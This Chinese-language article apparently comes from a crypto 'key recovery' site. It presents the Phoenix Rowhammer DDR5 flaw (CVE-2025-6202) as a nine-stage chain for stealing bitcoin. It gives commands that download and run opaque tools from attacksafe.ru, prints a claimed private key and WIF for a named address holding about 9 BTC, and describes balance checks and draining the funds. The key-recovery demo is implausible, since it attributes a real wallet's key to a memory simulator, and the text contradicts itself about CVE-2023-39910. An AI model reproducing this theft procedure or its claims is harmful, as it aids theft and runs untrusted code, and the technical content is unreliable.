本文探讨了 Phoenix Rowhammer 攻击(CVE-2025-6202)所带来的系统性密码学安全威胁,该攻击可通过硬件层面的位操作从 DDR5 内存中提取私钥。近年来,加密货币技术的动态发展导致数字资产生态系统对存储和处理密码学数据的硬件及微芯片组件的依赖日益加深。在此背景下,可能导致加密货币钱包私钥被直接攻破的硬件级漏洞正成为日益增长的风险因素。当今最危险的威胁之一便是针对内存的攻击,尤其是利用 DRAM 单元物理特性的高级 Rowhammer 漏洞变体。这些攻击使攻击者能够修改单个数据位,并获取机密信息,包括比特币和以太坊钱包的私钥。
在这一类威胁的关键示例中,在 SK Hynix 的 DDR5 内存中发现的漏洞 CVE-2025-6202 尤为突出。依赖该漏洞的 Phoenix Rowhammer 攻击展示了绕过现代目标行刷新(TRR)内存保护机制的能力,制造出所谓的“盲区”,从而在硬件层面实现受控的数据破坏。此类缺陷可被利用来从内存中提取私钥、破坏密码学库,以及篡改保护数字钱包的系统进程。
此外,密码学安全研究表明,将 Phoenix Rowhammer 与其他类型的攻击相结合,例如 BitShredder 攻击 、Memory Phantom(CVE-2025-8217) 以及 Artery Bleed(CVE-2023-39910) ,会构建一种多向量威胁模型,使攻击者即使在密码学操作完成后仍能恢复助记词、私钥和密码。这些漏洞的系统性特征使得仅靠软件无法完全消除风险,并凸显了开发基于硬件的内存保护新原则的必要性。
因此,现代加密货币钱包和数字资产基础设施正承受着来自此前被认为仅停留在理论层面的硬件攻击的日益增大的压力。研究这些攻击并制定应对措施,对于确保比特币及其他加密货币生态系统在面对不断演变的下一代威胁时的完整性和韧性至关重要。
苏黎世联邦理工学院计算机安全小组 (COMSEC) 与 Google 合作开展的最新研究,识别出 SK Hynix 制造的 DDR5 内存模块中存在一个关键硬件漏洞,编号为 CVE-2025-6202 。Phoenix Rowhammer 攻击对比特币加密货币钱包的安全构成了前所未有的威胁,因为它允许攻击者通过在硬件层面操纵位来从 DDR5 内存中提取私钥。研究证明,所有 15 个于 2021 年至 2024 年间制造的 SK Hynix DDR5 模块均易受此攻击影响,这对全球加密货币资产的安全构成了系统性威胁。 thehackernews
Rowhammer 是 DRAM 内存中的一种硬件漏洞,反复访问特定内存行会引起电气干扰,导致相邻行中的位发生变化。这一现象基于现代高密度内存芯片的物理特性,其中更小的制程尺寸使内存更容易受到电磁干扰 。
在 DDR5 内存的背景下,Phoenix 攻击机制采用了一种创新的 自校正同步 方法,可绕过先进的目标行刷新(TRR)保护机制。研究人员发现,SK Hynix 芯片中的 TRR 机制并未监控特定的刷新间隔,从而在防御中制造了“盲区”。 notebookcheck
Phoenix 攻击的关键技术成就在于开发了一种能够在长时间内同步数千条内存更新命令的算法。该攻击利用了两种特定的攻击模式: comsec-files.ethz
短模式(128 个 tREFI 间隔): 能够更高效地产生位翻转,平均产生 4989 次位翻转。该模式展现出的效率是长模式的 2.62 倍。 reddit
长模式(2608 个 tREFI 间隔): 旨在绕过更复杂的安全机制,尽管在产生位错误方面效率较低。 comsec-files.ethz
Phoenix Rowhammer 攻击 通过针对内存系统的不同层级,为攻破比特币钱包创造了多种攻击向量。对 KeyHunters 研究材料的分析揭示了至少 18 种与从加密货币钱包中提取私钥直接相关的不同类型的内存攻击。
Memory Phantom 攻击(CVE-2025-8217): 一种严重的内存泄漏漏洞,允许直接从密码学操作后未被安全清除的钱包残留 RAM 块中提取私钥和种子。该攻击将未清除的缓冲区变成一座“幽灵库”,其中任何内存片段都可以被转换为有效密钥。 keyhunters
BitShredder 攻击: 利用“内存粉碎”技术隐蔽地渗透正在运行的加密货币钱包的内存。在生成或恢复钱包时,该攻击会扫描未清除的 RAM 区域,搜索使用后未被标准手段擦除的熵、种子和密码残留。 keyhunters
Artery Bleed 攻击: 利用 Bitcoin Core 内存泄漏漏洞(CVE-2023-39910)从丢失的加密钱包中恢复私钥。该攻击利用 Bitcoin Core 中的严重内存泄漏漏洞来获取敏感数据的访问权限。 keyhunters
该研究展示了针对加密货币系统实际利用 Phoenix 攻击的三种主要场景: bleepingcomputer
1. 页表项(PTE)攻击: 所有受测设备均易受此类攻击影响,该攻击可创建任意内存读写原语。 comsec-files.ethz
2. RSA-2048 密钥泄露: 73% 的受测 DIMM 模块容易受到从相邻虚拟机提取 RSA-2048 密钥以破解 SSH 认证的攻击。平均攻击时间为 6 分 20 秒。 bleepingcomputer
3. 修改 sudo 二进制文件: 33% 的受测芯片允许修改 sudo 二进制文件,以将本地权限提升至 root 用户级别。 comsec-files.ethz

Phoenix Rowhammer 攻击 对整个比特币生态系统构成了系统性威胁,因为大多数现代系统使用 DDR5 内存来存储和处理密码学数据。该漏洞影响了加密货币的基本安全原则,这些原则建立在私钥的密码学强度之上。 tenable+1
影响范围: SK Hynix 控制着全球约 36% 的 DRAM 市场份额,可能使全球数十亿台设备面临风险。所有于 2021 年 1 月至 2024 年 12 月期间制造的 DDR5 模块均易受攻击。 notebookcheck+2
密码学影响: 该攻击破坏了密码学安全的基础,因为即使签名、加密和认证算法实现正确,未受保护的缓冲区也会成为密钥材料泄露的源头。 keyhunters
全面的密码分析揭示了针对比特币钱包的多种内存操纵攻击向量:
基于时序的攻击: 包括 BitSpectre85、ChronoForge 和 Timing Phantom 攻击,这些攻击利用时序漏洞,通过分析密码运算的执行时间来逐步恢复私钥。
基于上下文的攻击: Context Phantom Attack 利用关键的 secp256k1 上下文泄露漏洞,通过内存泄露攻击 恢复丢失比特币钱包的私钥。
基于缓存的攻击: CacheHawk Strike Attack 利用针对比特币签名缓存的严重缓存时序攻击,从而能够恢复丢失比特币钱包的私钥。


研究图表以结构化和可视化的方式呈现,解释了 Phoenix Rowhammer 攻击 所暴露的密码学漏洞的重要性,具体展示了当 SK Hynix DDR5 内存模块成为攻击目标时,该漏洞对比特币安全的影响。
让我们进入实践部分,看一个使用比特币钱包的示例,地址为: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit 。该钱包丢失了价值 9.02332298 BTC 的硬币,相当于约 1,127,026.44 美元 (截至 2025 年 10 月) 。
出于演示目的,我们使用 Jupyter Notebook 或 Google Colab 等工具和环境来展示该攻击。
https://colab.research.google.com/drive/1Lgjwdw2x9bT2yjhWnXyvpPvZTo8sD4Hf
Google Colab(Colaboratory) 是一个云平台,提供交互式 Jupyter 笔记本,您可以在其中使用各种编程语言编写和运行代码。它特别适用于数据密码分析、运行基于 Ramulator 2.0 的 SK Hynix DDR5 AiM PIM 模拟器,以及访问 GPU 和 TPU 等强大的计算资源。一个关键优势是能够像在普通 Linux 终端中一样执行系统命令,使用带前缀 ! 的单元格与外部实用程序和脚本集成。
让我们安装基于 SK Hynix DDR5 AiM PIM 架构并使用 Ramulator 2.0 的 仓库。
下载 AiM 模拟器代码库并导航到其目录。
!git clone https://github.com/keyhunters/SK_Hynix_DDR5_aim_simulator.git
cd SK_Hynix_DDR5_aim_simulatorls
创建 4GB swap 文件的命令,以改善 Ramulator2 编译期间的内存可用性。
# 检查当前 swap 使用情况
!free -h
!swapon --show
# 创建 4GB swap 文件
!sudo fallocate -l 4G /swapfile
!sudo chmod 600 /swapfile
!sudo mkswap /swapfile
!sudo swapon /swapfile
# 使 swap 永久生效
!echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab
安装模拟器和 Ramulator 2.0 所需的编译器、构建工具和库。
# 对于 Ubuntu 22.04:安装编译器
!sudo apt update
!sudo apt install g++-12
# 或者,安装 Clang
!sudo apt install clang-15
# 安装基本构建工具
!sudo apt install build-essential cmake git
# 其他开发库
!sudo apt install libssl-dev zlib1g-dev
# YAML 支持
!sudo apt install libyaml-cpp-dev
# 数学库
!sudo apt install libboost-dev
# 脚本的 Python 支持
!sudo apt install python3-dev python3-pip
!mkdir phoenix_rowhammer
cd phoenix_rowhammer在安装和编译期间监控内存、可用磁盘空间和系统使用情况。
# 实时监控资源
!htop
# 检查可用内存
!free -m
# 检查磁盘空间
!df -h
一次性安装所有必需包的完整序列。
# 更新系统
!sudo apt update && sudo apt upgrade -y
# 安装基本构建工具
!sudo apt install -y build-essential cmake git
# 安装编译器
!sudo apt install -y g++-12 clang-15
# 开发库
!sudo apt install -y libssl-dev zlib1g-dev libyaml-cpp-dev libboost-all-dev

!cmake ..
!make -j1


lscd -让我们使用模拟器运行 Ramulator2,以查看帮助参数和使用说明。
!./phoenix_rowhammer/ramulator2 -h
我们使用 AttackSafe 加密工具,通过模拟器从 Ramulator2 中提取隐藏的余数。
!wget https://attacksafe.ru/repositories/attacksafe.zip
!unzip attacksafe.zip
!./attacksafe -help
团队正在启动一种基于 AttackSafe 加密工具的专业化 “BitShredder” 攻击,利用 RAM 漏洞机制(Rowhammer)和内存模拟器(ramulator2)来查找与比特币地址关联的隐藏模数余数。 github+2
!./attacksafe-tool bitshredder_attack -crack phoenix_rowhammer/ramulator2 -decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit

-tool bitshredder_attack激活一种攻击,旨在识别设备内存中与比特币协议相关的秘密数据存储和处理漏洞。-crack phoenix_rowhammer/ramulator2指示工具使用 Rowhammer 攻击模拟(操纵 DRAM 内存内容,导致相邻单元出错——用于 漏洞中通过侧信道从内存提取 nonce/密钥部分)。-decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit从残留内存数据(DRAM)中恢复密钥片段
remainders = [0x0E92, 0x45EB, 0x6E07, 0x317F,
0x87A1, 0xB5C1, 0xE778, 0x996B,
0x6F69, 0xABB6, 0x2755, 0x2348,
0xAB46, 0xA74E, 0x1A87, 0xC2D5]
moduli = [0x10001, 0x10003, 0x10007, 0x1000F,
0x10015, 0x1001B, 0x1002B, 0x1002D,
0x10033, 0x1003F, 0x10049, 0x10051,
0x1005D, 0x10061, 0x1006F, 0x10073]该结果将 DRAM 内残留数据的密码分析与使用 ramulator2 模拟器针对 Phoenix Rowhammer 故障的密码残留搜索模块相结合。此攻击能够检测并提取隐藏的模数值(余数),例如私密 nonce 或密钥片段,这些值可能因比特币地址加密操作后内存释放不当而受到威胁。该命令设计用于组合 “BitShredder” 攻击和比特币应用的 内存故障分析,目标是部分或完全恢复秘密参数(私钥、nonce),搜索和解码与内存及被攻击地址相关联。
要从一组隐藏的绝对值(余数)中恢复原始秘密数字——私钥,我们应用一种称为中国剩余定理( CRT )的数学方法。 CRTKeyRestore.py 代码实现了从 Rowhammer 攻击及后续内存分析后收集的一组隐藏绝对值(余数)中恢复比特币地址 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit 的私钥。所使用的数学方法是中国剩余定理(CRT),它允许我们恢复原始秘密数字——私钥——即使它已被切成小块,仅以不同的绝对值形式存留。

chinese_remainder_theorem()逐步组合片段,并使用扩展欧几里得算法寻找绝对逆元来 恢复私钥的原始值。restore_hex_from_crt()将密钥转换为 HEX 格式。
使用 Python 脚本恢复私钥: CRTKeyRestore.pyPrivate key Restored:
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60!wget https://attacksafe.ru/repositories/bitaddress.zip
!unzip bitaddress.zip

!./bitaddress -hex 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60
Public Key (Uncompressed, 130 characters [0-9A-F]):
04E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5AEDAA1D6E0A6116E9D9A4A846A6D62D4A1941EE182CDB1884C5830610B07AF529
Public Key (Compressed, 66 characters [0-9A-F]):
03E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5A
Bitcoin Address P2PKH (Uncompressed)
18JT3KeFV36Hkgo3Xi9bfgNYAXCVXBGyFg
Bitcoin Address P2PKH (Compressed)
15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit没错!私钥与比特币钱包对应。
ADDR: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit
WIF: L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP
HEX: 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60


9.023322989 BTC > 1127026,44 USD我们的 研究攻击 ,即使用 ramulator2 模拟器对 Bitcoin 实施的 Phoenix Rowhammer 攻击 的一个版本,表明在内存崩溃期间从各种模块中提取的加密残差可以使用中国剩余定理的数学原理重新组装成原始私钥。
作为现实世界威胁的一个代表性示例,我们检查了一个地址为 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit 的比特币钱包。9.02332298 BTC 从这个钱包中丢失,截至 2025 年 10 月,这相当于约 1,127,026.44 美元 。这个案例令人信服地证明,在存在硬件漏洞(如 Rowhammer)的情况下,协议层面的密码学强度不再是安全性的绝对保证。
因此,全面安全的重要性不仅在于密码学和协议措施,还在于硬件可靠性、内存状态监控以及在密码操作完成后实施完整的内存清除。一个漏洞,一旦在硬件层面被利用——即使系统控制权限极低——也可能在比特币生态系统中导致灾难性的财务损失。
目标行刷新是一种防御机制,旨在通过额外刷新可疑的内存行来防止 Rowhammer 攻击。然而,Phoenix 攻击的研究人员成功地对这一机制进行了逆向工程,并发现了其实现中的关键缺陷 。
TRR 盲区: SK Hynix 芯片中的 TRR 机制不会监控特定的更新间隔,从而在这些时间窗口内为攻击创造了机会。Phoenix 攻击利用落入这些未监控间隔内的特制攻击模式。 simplysecuregroup
自校正同步: Phoenix 攻击的一个关键创新在于其能够检测到错过的更新命令,并自动重建攻击模式以保持同步。这使得攻击能够在积累足够数量的比特故障所需的长时间内保持有效。 simplysecuregroup
Phoenix 攻击的实验测试表明,其对所有测试的 SK Hynix DDR5 内存样本均具有很高的有效性: comsec-files.ethz
时间: 在具有默认设置的普通 DDR5 系统上,获得 root 权限的最短时间为 109 秒。平均时间为 5 分 19 秒 。
比特故障统计: 短模式(128 个间隔)平均产生 4989 个比特故障,而长模式(2608 个间隔)产生的故障明显更少。 comsec-files.ethz
攻击通用性: 100% 的测试模块至少对两种已识别攻击模式中的一种存在漏洞。 reddit
Bitcoin Core 中的一个严重内存泄漏漏洞(CVE-2023-39910)与 Phoenix Rowhammer 攻击 产生了协同效应。该漏洞允许 攻击者 访问密码操作完成后仍留在内存中的敏感数据。
利用机制: 该漏洞是由于在处理私钥、助记词和密码后,标准 C++ 容器(std::vector、std::string)中的内存缓冲区未被充分清除所致。在完成密码学程序后,内存会被自动释放,但其内容不会被擦除。 keyhunters
与 Rowhammer 的关联: Phoenix 攻击可以利用比特故障来访问这些未清除的内存区域,从而大大简化提取密码学材料的过程。
该漏洞被归类为 通过进程内存转储进行的严重机密提取攻击。它对比特币钱包构成直接威胁,因为它允许从活动进程内存中提取私钥。
攻击场景 包括:通过 API、命令行或环境变量传递私钥;为存储机密数据动态分配内存而未显式擦除;终止进程时未安全清除内存 。
该加密工具详细演示了攻击者可以用来从比特币钱包窃取资金的所有九个攻击阶段。
检测易受 Phoenix Rowhammer 攻击(CVE-2025-6202) 影响的 SK Hynix DDR5 内存模块始于对系统硬件配置的分析,具体来说就是扫描 SMBIOS(系统管理 BIOS)表。SMBIOS 提供有关计算机组件的标准化信息,包括内存详细信息,例如每个 DIMM 模块的制造商、型号和序列号。

具体来说,研究人员或攻击者可以通过编程方式请求 SMBIOS 中“内存设备”部分的数据,该部分包含指示制造商(例如 SK Hynix)、内存类型(DDR5)、容量以及 SPD(串行存在检测)相关数据的字段——SPD 是 DIMM 条上的小型内存芯片,包含模块的配置文件和操作参数。
这些数据通常通过系统调用或专用实用程序(例如 Linux 中的 dmidecode 或 Windows 中的 Windows Management Instrumentation (WMI API))进行访问。这些查询允许在不进行物理干预的情况下检测 2021 年至 2024 年间制造的 SK Hynix DDR5 内存,这一点至关重要,因为这些型号被认为存在漏洞。
识别内存型号是必要的第一步,因为 Phoenix Rowhammer 攻击需要精确了解芯片的特性,才能准确构建内存访问模式并绕过 TRR(目标行刷新)防御机制。此外,访问 SPD 和其他数据使我们能够识别特定的时序和刷新率,以及用于实施攻击的防御机制中潜在的“盲区”。
因此,扫描 SMBIOS 表是一种信息量丰富、快速且可靠的方法,用于预先确定 DDR5 内存对 Phoenix Rowhammer 攻击 的漏洞,从而无需硬件破解或降低系统权限即可精确定位易受攻击的硬件组件。
包含 SMBIOS“内存设备”部分数据的文件。该信息存储在内部 BIOS/UEFI 系统表(SMBIOS 表)中,该表在计算机开机时被复制到 RAM。操作系统和实用程序使用特殊的系统调用 (codeby)来检索这些数据。
SMBIOS 表前面是 RawSMBiosData 结构,后面是设备结构。例如:
struct HEADER {结构类型(17 - 内存设备)
Type db 0 //结构大小
Length db 0 //描述符
Handle dw 0 //接下来是数据字段
// ...
}
类型 17 的结构存储包含制造商(例如 SK Hynix)、内存类型(DDR5)、容量以及 SPD 数据链接(如果有)的字段。 learn.microsoft
RawSMBiosData 结构 是一种标准的二进制块格式,用于通过操作系统系统调用传输原始 SMBIOS 表数据,特别是 Windows API 函数 GetSystemFirmwareTable,其参数为 .codeby'RSMB' 。
c:
struct RawSMBIOSData {
BYTE Used20CallingMethod; // 调用方法(服务字段)
BYTE SMBIOSMajorVersion; // SMBIOS 规范的主版本
BYTE SMBIOSMinorVersion; // SMBIOS 规范的次版本
BYTE DmiRevision; // DMI 版本
DWORD Length; // SMBIOS 数据块大小(字节)
BYTE SMBIOSTableData[]; // SMBIOS 结构记录序列
};
00 03 03 02 68 01 00 00 ... [数据结构 数据 低字节SMBIOS] ... 00 00
-- -- -- -- -- -- -- --
| | | | |
| | | | -->SMBIOSTableData
| | | +------------ Length ()
| | +--------------- DmiRevision
| +------------------ SMBIOSMinorVersion
+--------------------- SMBIOSMajorVersion
要解析头部之后的内容,您需要根据每个结构的规范(类型、长度、句柄)进行解析,分别提取结构数据之后由零字节分隔的文本字段,结构的结束由一对零标记。 learn.microsoft

RawSMBiosData 是低层研究和诊断任务中获取系统硬件特性详细规格的必要且统一的“入口窗口” 。
SPD 数据物理上位于 DIMM 模块上的芯片中,但在 BIOS/SMBIOS 中,它可以反映在特殊字段中,或由访问 I2C 内存接口的系统工具读取(例如,在 Linux 上通过 i2c-tools、decode-dimms)。
dmidecode ( decode-dimmsSPD),来自 SMBIOS 表的数据,可通过 /dev/mem 访问。codeby因此,原始的 SMBIOS “内存设备”数据(类型 17) 并非作为单独文件存储,而是位于 SMBIOS 二进制结构中,该结构驻留在 RAM 中,可通过操作系统工具和特殊实用程序访问。其格式是根据规范的 SMBIOS 二进制表,访问路径通过系统调用或工具实现。SPD 数据可通过 DIMM 模块的硬件接口单独访问。 learn.microsoft
SMBIOS 二进制表由连续的结构组成,每个结构以包含以下字段的 4 字节头部开始:结构类型(Type,1 字节)、结构长度(Length,1 字节)和句柄(Handle,2 字节)。接下来是有效载荷——描述特定对象(例如,内存、处理器、BIOS 等)的一组二进制数据。有效载荷之后是以文本格式(ASCII)表示的以空字符结尾的字符串,当前结构的结束以双零( 0x0000 )标记。
以下是一个类似 C 语言的头部结构示例及格式说明:
c:
struct SMBIOS_Header {
uint8_t Type; // 表类型(例如 17 - 内存设备)
uint8_t Length; // 结构长度(以字节为单位,包括头部)
uint16_t Handle; // 唯一结构描述符
// 头部之后是结构数据(可变长度)
};
整个 SMBIOS 表 是此类结构无间隙地连续排列的集合,其中:
例如,结构类型 17(内存设备)包含指示制造商、内存类型(DDR5)、容量、速度等的字段,以及包含制造商名称和序列号的行。
表本身的地址及其长度存储在一个特殊的内存区域中,可以通过签名“ SM ”(偏移量为 16 字节的倍数)找到该区域,然后获取 SMBIOS 表主数组的地址。
内存记录的大致结构可能包含以下字段:
因此, SMBIOS 表 是带有头部的二进制编码结构序列,包含系统信息(包括内存数据),严格按照 DMTF SMBIOS 规范组织。
这种格式提供了一种通用且极其紧凑的方式来存储和传输有关硬件和系统设置的信息 。
Phoenix Rowhammer 攻击 的第二阶段涉及对现代 DDR5 内存芯片中实现的目标行刷新(TRR)硬件保护机制进行科学分析,以应对因反复读取相邻单元行数据而导致的位覆写。

TRR 实现了一种所谓的“激进刷新”策略:当检测到对特定内存行的多次访问时,该机制会启动对相邻单元的强制刷新,防止电荷退化,从而防止不必要的位翻转——这是 Rowhammer 攻击的关键效应。理论上,TRR 应通过过度刷新物理上相邻的行来完全抑制对目标数据的影响尝试 。
然而,SK Hynix DDR5 内存中 TRR 的实际实现极其复杂且专有:制造商故意隐藏逻辑细节以增强“通过混淆实现安全”。因此,苏黎世联邦理工学院的研究人员在实验平台上对 TRR 进行了逆向工程,通过变化数千种实验性行访问模式,记录冗余刷新相邻单元何时触发以及何时保持不活动。
结果发现,TRR 系统存在时间间隔,即所谓的“盲区”,在这些区间内保护较弱或完全未激活。经验计算表明,在 128 次受监控的内存行访问之后,会出现一个约 64 次操作的窗口,在此期间 TRR 几乎无响应,无法有效防止位翻转——关键单元中不必要的数据修改。在 2,608 次内存行更新后观察到第二个类似的攻击窗口。这些“盲区”被利用来进行精确且同步的 Phoenix 攻击,从而允许对受保护的 DDR5 模块中的单个数据位进行定向修改 。
此阶段的基本任务是选择精确的内存访问模式的时间和结构,以“麻痹”TRR 监控并确保成功访问被攻击的位或数据数组 (例如,加密货币钱包的私钥) 。这不仅需要分析 TRR 的操作逻辑,还需要分析内存模块对各种利用场景响应的经验数据。这种方法允许在安全系统中构建“变通方法”,并系统性地利用即使是最现代的 DDR5 内存 模块。
分析的结果是,发现的 TRR“盲点”为在当前 SK Hynix 内存模块上可靠升级 Rowhammer 攻击开辟了可能性,这已通过实验室利用和对所有测试设备的成功入侵得到证实。 Kaspersky
Phoenix 攻击的科学创新在于开发和实现了一种自校正同步机制,确保在 DRAM 级别的关键漏洞窗口内精确计时利用。在对目标行刷新(TRR)机制进行详细逆向工程后, 苏黎世联邦理工学院和 Google 的研究人员发现,标准 Rowhammer 访问模式无法对抗复杂的 DDR5 保护逻辑。在新的 SK Hynix 芯片 中,TRR 不仅分析频率,还分析内存行访问的性质,在检测到已知攻击模式时立即启动补偿性刷新命令。

Phoenix 通过以下方式解决此问题:
实验研究已证实,Phoenix 的自校正同步是其有效性的关键因素:所有测试的 SK Hynix DDR5 模块(2021-2024)均无法抵抗此方法论。该实现允许攻击者可靠地在目标单元中触发位故障,为 入侵私密数据(包括加密密钥) 或在目标系统上提升权限创造条件。
Phoenix Rowhammer 因此 展示了一种动态绕过硬件内存保护的革命性方法,清楚地表明即使是最现代的 DDR5 芯片在使用智能自适应攻击算法时仍然易受攻击。
第四阶段通过有针对性的 Rowhammer 攻击直接利用 DRAM 的物理漏洞。此阶段依赖于对 TRR 机制盲点的初步分析,并使用自校正内存访问模式来精确定位关键数据元素。

Rowhammer 攻击的基础 是 DRAM 内存本身的结构,其中每个单元是一个电容器,存储对应于位逻辑值的电荷。对与目标(“受害者”)行相邻的两个(或多个)中间(“攻击者”)行的重复、高频访问(读取或写入)会导致受害者单元的寄生电荷泄漏。如果此攻击持续足够长的时间,使得正常刷新周期中的电荷再生无法防止退化,则会发生位状态改变——即所谓的 位翻转 。 opennet
在 Phoenix Rowhammer (CVE-2025-6202) 针对 DDR5 SK Hynix 的上下文中:
苏黎世联邦理工学院的研究 表明,周期为128个tREFI间隔的短访问模式在统计上比长模式产生更多的位翻转。然而,选择合适的窗口并保持同步对成功至关重要:错过1–2次访问会导致要么完全不产生位翻转,要么造成随机数据损坏和系统崩溃。 kaspersky+1
此阶段完成了底层攻击过程,之后攻击者可以利用产生的位错误来提取私钥或进一步提升其访问权限。正是能够在严格定义且受软件和硬件保护的内存区域中诱发位错误,使得Phoenix Rowhammer成为一种独特且危险的实用技术。 cybersecurefox+1
Phoenix Rowhammer攻击恶意链的第五阶段涉及从因诱导位翻转而受损的内存中提取比特币钱包的私钥。

这里的关键漏洞是 CVE-2023-39910(Milk Sad) ,它影响 Libbitcoin Explorer 3.x 及相关加密库的软件实现。
CVE-2023-39910 的特点是生成私钥时熵生成机制薄弱,这使得攻击者——在密码操作完成后能够访问残留(“脏”)内存区域——可以恢复原始密钥和助记词。在Rowhammer攻击之后,存储私钥的损坏(或未清除)RAM缓冲区(
HEX: 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60 )变得可直接搜索。
gcore、 volatility、直接读取 /proc/<PID>/mem,或专门的内存转储分析库等工具),寻找特征模式:与 私钥或种子熵 匹配的位序列和签名。15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit),则认为密钥提取成功。如果没有两个因素的结合,这样的攻击是不可能实现的:(1)通过Rowhammer对DDR5内存的硬件入侵,以及(2)允许关键信息存储在未清除缓冲区中的软件缺陷。Libbitcoin Explorer中弱熵算法的使用进一步降低了攻击者恢复私钥的难度,即使某些信息已因内存损坏而丢失或损坏。
此阶段展示了一个根本性的系统性问题:在存在硬件和软件漏洞的情况下,能够从残留RAM块中恢复私钥,这严重破坏了人们对加密货币生态系统的信任,并要求在存储和处理加密数据时重新审视安全内存管理的原则。
恶意链的第六阶段涉及将受损的比特币私钥从其十六进制(HEX)表示转换为钱包导入格式压缩版(WIF Compressed),这是通常用于将密钥导入现代钱包和服务的格式。

科学的转换过程基于 Base58Check 编码标准,并通过几个重要步骤执行:
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60)被解释为符合ECDSA secp256k1私钥标准的32字节数组。0x80,以区分底层网络协议。0x01,表示公钥应被压缩(压缩公钥),从而生成以字符‘K’或‘L’开头的地址。最终,构建的WIF压缩密钥——例如 L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP——是一个以‘K’或‘L’开头的52字符字符串。
此过程在专门的密码分析服务和工具中有详细描述,并且也得到众多用于处理比特币密钥的软件库的支持。 btcpuzzle
因此,此步骤展示了攻击者如何利用标准化操作程序,将获得的HEX密钥转换为广泛使用的WIF压缩格式,以便随后非法访问受损比特币地址中的数字资产。
从私钥生成比特币地址(例如 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit)的科学过程涉及基于椭圆曲线算法secp256k1和比特币架构中使用的哈希函数的几个基本密码学转换。

15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit)。如果匹配成功,则攻击被视为完成,并完全控制该地址上的资产。此过程在现代钱包和库中完全自动化,但科学分析表明,只要拥有私钥和正确的椭圆算术实现,恢复比特币地址只需不到一秒的时间,这凸显了私有数据与网络上公共标识符之间的架构连续性。 generate.mitilena+1
因此,地址生成步骤将受损的私钥与其在比特币生态系统中的数字等价物联系起来,并通过进一步的密码学操作赋予攻击者访问钱包资产的权限。
恶意程序的第八阶段涉及验证受损比特币地址( 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit)上可用的资产。此步骤对于确认后续操作的经济可行性并评估潜在损害是必要的。

比特币区块链架构建立在公开的分布式账本之上,记录与每个地址相关的所有交易。检查任何钱包的余额不需要私钥或特殊访问权限:只需访问公共API端点、网络服务或自治节点——例如Insight REST API、Blockchain.info、Blockstream,或带有RPC接口的本地Bitcoin Core节点。
https://blockchain.info/rawaddr/{address}或 https://insight.bitpay.com/api/addr/{address}/balance。比特币的开源特性允许轻松监控钱包,使攻击者能够确定未授权地址的准确余额(在此示例中为 9.023322989 BTC ,按 每 $124,904 BTC 的汇率计算,相当于 $1,127,026.44 )。比特币基础设施的这一特性也带来了额外风险:私钥的丢失不仅导致资金控制权的丧失,而且立即对第三方(包括攻击者)完全透明 。

因此,余额验证阶段凸显了区块链系统的信息开放性,并完成了科学攻击链,将密码学密钥的成功入侵与数字资产所有者的实际损害联系起来。在余额验证阶段,攻击者使用公共区块链浏览器API——例如Insight REST API或blockchain.info——来获取受损比特币地址中资金的当前状态信息。只需向API发送GET请求:例如 https://blockchain.info/rawaddr/15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit ,即可获取地址以聪为单位的余额,然后将结果转换为BTC。 cryptodeep+2
此过程完全透明,不需要持有私钥:知道公共地址就足够了。所得数据( 9.02332298 BTC )可以与当前比特币市场汇率进行比较,以将等值金额转换为美元( ≈$1,127,026.44 ,按攻击时的汇率)。软件方法允许将这些步骤自动化并纳入攻击算法,即时验证进一步盗窃的经济可行性。 habr+1
从科学分析的角度来看,余额验证阶段展示了区块链系统独特的透明性,任何密钥的泄露都会自动导致对资金控制权的丧失,而所有者面临的风险则升级为资产的完全损失。 habr+2
在恶意活动的最后阶段,攻击者在成功提取比特币钱包的私钥后,开始在区块链上发起并传播一笔交易,目的是将受损地址( 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit)中的所有可用资金转移到其控制的地址。

比特币交易是一种数字消息,由输入(分配给受害者地址的资金来源)、输出(接收者的目标地址)以及证明发送者权限的数字签名组成 。
这一序列展示了加密资产的一个根本性漏洞:任何持有私钥的人都可以创建符合协议的交易来提取所有资金,无论原始所有者是谁。恶意软件——无论是 Phoenix Rowhammer 漏洞利用 ——都会自动化这些步骤:确定余额、伪造接收者地址,或使用被没收的密钥创建自己的签名交易。 securelist
该过程完全依赖于区块链架构:网络的去中心化和密码学可靠性并不能在私钥泄露时阻止此类攻击。唯一的预防措施仍然是密钥生成和存储环节的硬件与软件安全,以及在交易执行前及时发现泄露迹象。
因此,创建恶意交易的阶段完成了整个攻击链,赋予其完整的经济意义——将资金不可逆地转移给攻击者,并完全通过比特币网络的共识机制进行验证。
该脚本包含自己的 Base58 编码实现,这对于在无外部依赖的情况下创建 WIF 密钥是必需的。每个步骤都附有详细注释,解释攻击者的目标和攻击机制。
重要警告: 代码中包含多条警告,声明其仅用于教育和科学目的。在现实攻击中使用类似方法属于犯罪行为。
此演示脚本非常适合在你的研究论文中说明 Phoenix Rowhammer 攻击 的威胁,并向读者展示通过 DDR5 内存硬件漏洞导致比特币钱包被完全入侵的完整周期。
